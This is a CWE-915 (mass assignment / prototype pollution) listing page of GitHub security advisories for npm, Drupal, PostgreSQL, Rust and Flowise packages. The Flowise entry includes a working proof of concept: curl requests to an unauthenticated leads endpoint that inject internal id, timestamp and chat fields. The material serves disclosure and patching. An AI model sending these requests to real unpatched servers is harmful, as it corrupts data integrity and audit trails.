CWE-915
AllowedImproperly Controlled Modification of Dynamically-Determined Object Attributes
Abstraction: Base · Status: Incomplete
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
275 vulnerabilities reference this CWE, most recent first.
GHSA-JV35-XQG7-F92R
Vulnerability from github – Published: 2021-06-21 17:16 – Updated: 2023-09-13 20:02Prototype pollution vulnerability in ‘set-getter’ version 0.1.0 allows an attacker to cause a denial of service and may lead to remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "set-getter"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-25949"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-14T19:22:58Z",
"nvd_published_at": "2021-06-10T12:15:00Z",
"severity": "CRITICAL"
},
"details": "Prototype pollution vulnerability in \u2018set-getter\u2019 version 0.1.0 allows an attacker to cause a denial of service and may lead to remote code execution.",
"id": "GHSA-jv35-xqg7-f92r",
"modified": "2023-09-13T20:02:47Z",
"published": "2021-06-21T17:16:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25949"
},
{
"type": "WEB",
"url": "https://github.com/doowb/set-getter/commit/66eb3f0d4686a4a8c7c3d6f7ecd8e570b580edc4"
},
{
"type": "PACKAGE",
"url": "https://github.com/doowb/set-getter"
},
{
"type": "WEB",
"url": "https://github.com/doowb/set-getter/blob/5bc2750fe1c3db9651d936131be187744111378d/index.js#L56"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20210615022308/https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25949"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "set-getter Prototype Pollution Vulnerability"
}
GHSA-JVF5-Q4H5-2JMJ
Vulnerability from github – Published: 2021-05-06 17:28 – Updated: 2021-05-05 21:41madlib-object-utils before 0.1.7 is vulnerable to Prototype Pollution via setValue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "madlib-object-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7701"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-05T21:41:45Z",
"nvd_published_at": "2020-08-14T15:15:00Z",
"severity": "CRITICAL"
},
"details": "madlib-object-utils before 0.1.7 is vulnerable to Prototype Pollution via setValue.",
"id": "GHSA-jvf5-q4h5-2jmj",
"modified": "2021-05-05T21:41:45Z",
"published": "2021-05-06T17:28:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7701"
},
{
"type": "WEB",
"url": "https://github.com/Qwerios/madlib-object-utils/commit/2a8d5be4fddfe46b69fbe25b9ebdff49a54481a8"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-MADLIBOBJECTUTILS-598676"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in madlib-object-utils"
}
GHSA-JVFF-X2QM-6286
Vulnerability from github – Published: 2026-04-10 22:10 – Updated: 2026-05-08 19:55Impact
This security vulnerability allowed executing arbitrary JavaScript via the expression parser of mathjs. You can be affected when you have an application where users can evaluate arbitrary expressions using the mathjs expression parser.
Patches
The issue was introduced in mathjs v13.1.0, and patched in mathjs v15.2.0.
Workarounds
There is no workaround without upgrading to v15.2.0.
References
You can find out more via the commit fixing this issue: https://github.com/josdejong/mathjs/commit/24d5ee7e25e85d49619b09122f055db4139bc057 (part of PR https://github.com/josdejong/mathjs/pull/3656).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mathjs"
},
"ranges": [
{
"events": [
{
"introduced": "13.1.0"
},
{
"fixed": "15.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41139"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T22:10:49Z",
"nvd_published_at": "2026-05-07T06:16:04Z",
"severity": "HIGH"
},
"details": "### Impact\nThis security vulnerability allowed executing arbitrary JavaScript via the expression parser of mathjs. You can be affected when you have an application where users can evaluate arbitrary expressions using the mathjs expression parser.\n\n### Patches\nThe issue was introduced in mathjs `v13.1.0`, and patched in mathjs `v15.2.0`.\n\n### Workarounds\nThere is no workaround without upgrading to `v15.2.0`.\n\n### References\nYou can find out more via the commit fixing this issue: https://github.com/josdejong/mathjs/commit/24d5ee7e25e85d49619b09122f055db4139bc057 (part of PR https://github.com/josdejong/mathjs/pull/3656).",
"id": "GHSA-jvff-x2qm-6286",
"modified": "2026-05-08T19:55:44Z",
"published": "2026-04-10T22:10:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/security/advisories/GHSA-5v89-rwgr-qj6g"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/security/advisories/GHSA-jvff-x2qm-6286"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41139"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/pull/3656"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/commit/0aee2f61866e35ffa0aef915221cdf6b026ffdd4"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/commit/bcf0da46f0b8577ec03c9ecd7bff8b5c2543a611"
},
{
"type": "PACKAGE",
"url": "https://github.com/josdejong/mathjs"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/mathjs/releases/tag/v15.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "mathjs Allows Improperly Controlled Modification of Dynamically-Determined Object Attributes"
}
GHSA-M6VV-VCJ8-W8M7
Vulnerability from github – Published: 2025-11-18 18:32 – Updated: 2025-11-18 21:39Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection. This issue affects Drupal core: from 8.0.0 before 10.4.9, from 10.5.0 before 10.5.6, from 11.0.0 before 11.1.9, from 11.2.0 before 11.2.8.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "10.4.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "10.5.0"
},
{
"fixed": "10.5.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.1.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "11.2.0"
},
{
"fixed": "11.2.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-13081"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-18T21:39:36Z",
"nvd_published_at": "2025-11-18T17:15:58Z",
"severity": "MODERATE"
},
"details": "Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Drupal core allows Object Injection. This issue affects Drupal core: from 8.0.0 before 10.4.9, from 10.5.0 before 10.5.6, from 11.0.0 before 11.1.9, from 11.2.0 before 11.2.8.",
"id": "GHSA-m6vv-vcj8-w8m7",
"modified": "2025-11-18T21:39:36Z",
"published": "2025-11-18T18:32:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13081"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2025-006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Drupal core allows Object Injection"
}
GHSA-M7MV-M566-78J6
Vulnerability from github – Published: 2022-08-19 00:00 – Updated: 2022-08-20 00:00A vulnerability found in postgresql. On this security issue an attack requires permission to create non-temporary objects in at least one schema, ability to lure or wait for an administrator to create or update an affected extension in that schema, and ability to lure or wait for a victim to use the object targeted in CREATE OR REPLACE or CREATE IF NOT EXISTS. Given all three prerequisites, the attacker can run arbitrary code as the victim role, which may be a superuser. Known-affected extensions include both PostgreSQL-bundled and non-bundled extensions. PostgreSQL blocks this attack in the core server, so there's no need to modify individual extensions.
{
"affected": [],
"aliases": [
"CVE-2022-2625"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-913",
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-18T19:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability found in postgresql. On this security issue an attack requires permission to create non-temporary objects in at least one schema, ability to lure or wait for an administrator to create or update an affected extension in that schema, and ability to lure or wait for a victim to use the object targeted in CREATE OR REPLACE or CREATE IF NOT EXISTS. Given all three prerequisites, the attacker can run arbitrary code as the victim role, which may be a superuser. Known-affected extensions include both PostgreSQL-bundled and non-bundled extensions. PostgreSQL blocks this attack in the core server, so there\u0027s no need to modify individual extensions.",
"id": "GHSA-m7mv-m566-78j6",
"modified": "2022-08-20T00:00:39Z",
"published": "2022-08-19T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2625"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2022-2625"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2113825"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202211-04"
},
{
"type": "WEB",
"url": "https://www.postgresql.org/about/news/postgresql-145-138-1212-1117-1022-and-15-beta-3-released-2496"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MFC3-C99J-VMCG
Vulnerability from github – Published: 2022-05-24 17:15 – Updated: 2022-05-24 17:15The Cloud Functions subsystem in OpenTrace 1.0 might allow fabrication attacks by making billions of TempID requests before an AES-256-GCM key rotation occurs.
{
"affected": [],
"aliases": [
"CVE-2020-11872"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-17T05:15:00Z",
"severity": "MODERATE"
},
"details": "The Cloud Functions subsystem in OpenTrace 1.0 might allow fabrication attacks by making billions of TempID requests before an AES-256-GCM key rotation occurs.",
"id": "GHSA-mfc3-c99j-vmcg",
"modified": "2022-05-24T17:15:43Z",
"published": "2022-05-24T17:15:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11872"
},
{
"type": "WEB",
"url": "https://github.com/opentrace-community/opentrace-cloud-functions/issues/7"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MH82-55CM-6GFH
Vulnerability from github – Published: 2021-06-08 23:16 – Updated: 2022-06-29 20:42Prototype pollution vulnerability in 'js-extend' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "js-extend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-25945"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-27T23:04:49Z",
"nvd_published_at": "2021-05-26T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Prototype pollution vulnerability in \u0027js-extend\u0027 versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.",
"id": "GHSA-mh82-55cm-6gfh",
"modified": "2022-06-29T20:42:39Z",
"published": "2021-06-08T23:16:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25945"
},
{
"type": "PACKAGE",
"url": "https://github.com/vmattos/js-extend"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25945"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype pollution vulnerability in js-extend"
}
GHSA-MJ73-J457-8X9Q
Vulnerability from github – Published: 2025-12-02 00:29 – Updated: 2025-12-11 17:28maxminddb prior to version 0.27 declared Reader::open_mmap as safe despite wrapping an inherently unsafe memmap2 operation with no extra step done to guarantee safety. This could have led to undefined behaviour if the file were to be modified on disk while the memory map was still active.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "maxminddb"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.0"
},
{
"fixed": "0.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T00:29:11Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "maxminddb prior to version 0.27 declared `Reader::open_mmap` as safe despite wrapping an inherently unsafe memmap2 operation with no extra step done to guarantee safety. This could have led to undefined behaviour if the file were to be modified on disk while the memory map was still active.",
"id": "GHSA-mj73-j457-8x9q",
"modified": "2025-12-11T17:28:12Z",
"published": "2025-12-02T00:29:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oschwald/maxminddb-rust/issues/86"
},
{
"type": "WEB",
"url": "https://github.com/oschwald/maxminddb-rust/commit/98f0e4fff9678c841ed33f3b8a46322f6163c32a"
},
{
"type": "PACKAGE",
"url": "https://github.com/oschwald/maxminddb-rust"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2025-0132.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "maxminddb\u0027s `Reader::open_mmap` unsoundly marks unsafe memmap operation as safe"
}
GHSA-MQ4R-H2GH-QV7X
Vulnerability from github – Published: 2026-03-06 22:19 – Updated: 2026-03-09 13:15Summary
A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.
The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.
| Field | Value |
|---|---|
| Vulnerability Type | Mass Assignment |
| CWE ID | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Authentication Required | None |
| Affected Endpoint | POST /api/v1/leads |
Details
Root Cause
The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!
Object.assign(newLead, { chatId })
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:
- id - The primary key (should be auto-generated)
- createdDate - The creation timestamp (should be auto-generated)
- chatId - The chat identifier
Lead Entity Definition
The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:
// File: /packages/server/src/database/entities/Lead.ts
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid') // Should be auto-generated!
id: string
@Column()
name?: string
@Column()
email?: string
@Column()
phone?: string
@Column()
chatflowid: string
@Column()
chatId: string
@CreateDateColumn() // Should be auto-generated!
createdDate: Date
}
However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.
Why the Endpoint is Publicly Accessible
The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:
// File: /packages/server/src/utils/constants.ts
// Line 20
export const WHITELIST_URLS = [
// ... other endpoints ...
'/api/v1/leads', // ← No authentication required
// ... more endpoints ...
]
Proof of Concept
Prerequisites
- Docker and Docker Compose installed
- curl installed
Step 1: Start Flowise
Create a docker-compose.yml:
services:
flowise:
image: flowiseai/flowise:latest
restart: unless-stopped
environment:
- PORT=3000
- DATABASE_PATH=/root/.flowise
- DATABASE_TYPE=sqlite
- CORS_ORIGINS=*
- DISABLE_FLOWISE_TELEMETRY=true
ports:
- '3000:3000'
volumes:
- flowise_data:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
volumes:
flowise_data:
Start the container:
docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping
Step 2: Baseline Test - Normal Lead Creation
First, create a normal lead to see expected behavior:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "normal-chatflow-123",
"name": "Normal User",
"email": "normal@example.com",
"phone": "555-0000"
}'
Expected Response (normal behavior):
{
"id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
"name": "Normal User",
"email": "normal@example.com",
"phone": "555-0000",
"chatflowid": "normal-chatflow-123",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:39.000Z"
}
Note: The id and createdDate are auto-generated by the server.
Step 3: Exploit - Inject Custom ID
Now inject a custom id:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "attacker-chatflow-456",
"name": "Attacker",
"email": "attacker@evil.com",
"phone": "555-EVIL",
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
}'
Actual Response (vulnerability confirmed):
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"name": "Attacker",
"email": "attacker@evil.com",
"phone": "555-EVIL",
"chatflowid": "attacker-chatflow-456",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:40.000Z"
}
⚠️ The attacker-controlled id was accepted!
Step 4: Exploit - Inject Custom Timestamp
Inject a fake createdDate:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "timestamp-test-789",
"name": "Time Traveler",
"email": "timetraveler@evil.com",
"createdDate": "1970-01-01T00:00:00.000Z"
}'
Actual Response (vulnerability confirmed):
{
"id": "some-auto-generated-uuid",
"name": "Time Traveler",
"email": "timetraveler@evil.com",
"chatflowid": "timestamp-test-789",
"chatId": "auto-generated-uuid",
"createdDate": "1970-01-01T00:00:00.000Z"
}
⚠️ The attacker-controlled timestamp from 1970 was accepted!
Step 5: Exploit - Combined Mass Assignment
Inject multiple fields at once:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "any-chatflow-attacker-wants",
"name": "Mass Assignment Attacker",
"email": "massassign@evil.com",
"phone": "555-HACK",
"id": "11111111-2222-3333-4444-555555555555",
"createdDate": "2000-01-01T12:00:00.000Z",
"chatId": "custom-chat-id-injected"
}'
Actual Response (vulnerability confirmed):
{
"id": "11111111-2222-3333-4444-555555555555",
"name": "Mass Assignment Attacker",
"email": "massassign@evil.com",
"phone": "555-HACK",
"chatflowid": "any-chatflow-attacker-wants",
"chatId": "custom-chat-id-injected",
"createdDate": "2000-01-01T12:00:00.000Z"
}
⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!
Verification
The exploit succeeds because:
1. ✅ HTTP 200 response (request accepted)
2. ✅ id field contains attacker-controlled UUID
3. ✅ createdDate field contains attacker-controlled timestamp
4. ✅ chatId field contains attacker-controlled string
5. ✅ No authentication headers were sent
Impact
Who is Affected?
- All Flowise deployments that use the leads feature
- Both open-source and enterprise versions
- Any system that relies on lead data integrity
Attack Scenarios
| Scenario | Impact |
|---|---|
| ID Collision Attack | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |
| Audit Trail Manipulation | Attacker sets fake createdDate values to hide malicious activity or manipulate reporting |
| Data Integrity Violation | Internal fields that should be server-controlled are now user-controlled |
| Chatflow Association | Attacker can link leads to arbitrary chatflows they don't own |
Severity Assessment
While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:
- Data integrity issues
- Potential business logic bypasses
- Audit/compliance concerns
- Foundation for chained attacks
Recommended Fix
Option 1: Whitelist Allowed Fields (Recommended)
Only copy explicitly allowed fields from the request body:
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
// ✅ Only copy allowed fields
const allowedFields = ['chatflowid', 'name', 'email', 'phone']
for (const field of allowedFields) {
if (body[field] !== undefined) {
newLead[field] = body[field]
}
}
newLead.chatId = chatId
// Let TypeORM auto-generate id and createdDate
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
Option 2: Use Destructuring with Explicit Fields
const createLead = async (body: Partial<ILead>) => {
try {
// ✅ Only extract allowed fields
const { chatflowid, name, email, phone } = body
const chatId = body.chatId ?? uuidv4()
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create({
chatflowid,
name,
email,
phone,
chatId
// id and createdDate will be auto-generated
})
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
Option 3: Use class-transformer with @Exclude()
Add decorators to the Lead entity to exclude sensitive fields from assignment:
import { Exclude } from 'class-transformer'
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid')
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
id: string
// ... other fields ...
@CreateDateColumn()
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
createdDate: Date
}
Additional Recommendation
Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:
- /packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)
Resources
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- OWASP: Mass Assignment Cheat Sheet
- OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows
- Node.js Security Best Practices
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.12"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30822"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T22:19:14Z",
"nvd_published_at": "2026-03-07T05:16:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\n**A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.**\n\nThe endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.\n\n| Field | Value |\n|-------|-------|\n| **Vulnerability Type** | Mass Assignment |\n| **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) |\n| **Authentication Required** | None |\n| **Affected Endpoint** | `POST /api/v1/leads` |\n\n\n---\n\n## Details\n\n### Root Cause\n\nThe vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:\n\n```typescript\n// File: /packages/server/src/services/leads/index.ts\n// Lines 23-38\n\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n try {\n const chatId = body.chatId ?? uuidv4()\n\n const newLead = new Lead()\n Object.assign(newLead, body) // \u2190 VULNERABILITY: All properties copied!\n Object.assign(newLead, { chatId })\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\nThe `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including:\n- `id` - The primary key (should be auto-generated)\n- `createdDate` - The creation timestamp (should be auto-generated)\n- `chatId` - The chat identifier\n\n### Lead Entity Definition\n\nThe Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:\n\n```typescript\n// File: /packages/server/src/database/entities/Lead.ts\n\n@Entity()\nexport class Lead implements ILead {\n @PrimaryGeneratedColumn(\u0027uuid\u0027) // Should be auto-generated!\n id: string\n\n @Column()\n name?: string\n\n @Column()\n email?: string\n\n @Column()\n phone?: string\n\n @Column()\n chatflowid: string\n\n @Column()\n chatId: string\n\n @CreateDateColumn() // Should be auto-generated!\n createdDate: Date\n}\n```\n\nHowever, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.\n\n### Why the Endpoint is Publicly Accessible\n\nThe `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:\n\n```typescript\n// File: /packages/server/src/utils/constants.ts\n// Line 20\n\nexport const WHITELIST_URLS = [\n // ... other endpoints ...\n \u0027/api/v1/leads\u0027, // \u2190 No authentication required\n // ... more endpoints ...\n]\n```\n\n---\n\n## Proof of Concept\n\n\u003cimg width=\"1585\" height=\"817\" alt=\"Screenshot 2025-12-26 at 2 28 00\u202fPM\" src=\"https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5\" /\u003e\n\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- curl installed\n\n### Step 1: Start Flowise\n\nCreate a `docker-compose.yml`:\n\n```yaml\nservices:\n flowise:\n image: flowiseai/flowise:latest\n restart: unless-stopped\n environment:\n - PORT=3000\n - DATABASE_PATH=/root/.flowise\n - DATABASE_TYPE=sqlite\n - CORS_ORIGINS=*\n - DISABLE_FLOWISE_TELEMETRY=true\n ports:\n - \u00273000:3000\u0027\n volumes:\n - flowise_data:/root/.flowise\n entrypoint: /bin/sh -c \"sleep 3; flowise start\"\n\nvolumes:\n flowise_data:\n```\n\nStart the container:\n\n```bash\ndocker compose up -d\n# Wait for Flowise to be ready (about 1-2 minutes)\ncurl http://localhost:3000/api/v1/ping\n```\n\n### Step 2: Baseline Test - Normal Lead Creation\n\nFirst, create a normal lead to see expected behavior:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"chatflowid\": \"normal-chatflow-123\",\n \"name\": \"Normal User\",\n \"email\": \"normal@example.com\",\n \"phone\": \"555-0000\"\n }\u0027\n```\n\n**Expected Response (normal behavior):**\n```json\n{\n \"id\": \"018b23e3-d6cb-4dc5-a276-922a174b44fd\",\n \"name\": \"Normal User\",\n \"email\": \"normal@example.com\",\n \"phone\": \"555-0000\",\n \"chatflowid\": \"normal-chatflow-123\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"2025-12-26T06:20:39.000Z\"\n}\n```\n\nNote: The `id` and `createdDate` are auto-generated by the server.\n\n### Step 3: Exploit - Inject Custom ID\n\nNow inject a custom `id`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"chatflowid\": \"attacker-chatflow-456\",\n \"name\": \"Attacker\",\n \"email\": \"attacker@evil.com\",\n \"phone\": \"555-EVIL\",\n \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\"\n }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n \"name\": \"Attacker\",\n \"email\": \"attacker@evil.com\",\n \"phone\": \"555-EVIL\",\n \"chatflowid\": \"attacker-chatflow-456\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"2025-12-26T06:20:40.000Z\"\n}\n```\n\n**\u26a0\ufe0f The attacker-controlled `id` was accepted!**\n\n### Step 4: Exploit - Inject Custom Timestamp\n\nInject a fake `createdDate`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"chatflowid\": \"timestamp-test-789\",\n \"name\": \"Time 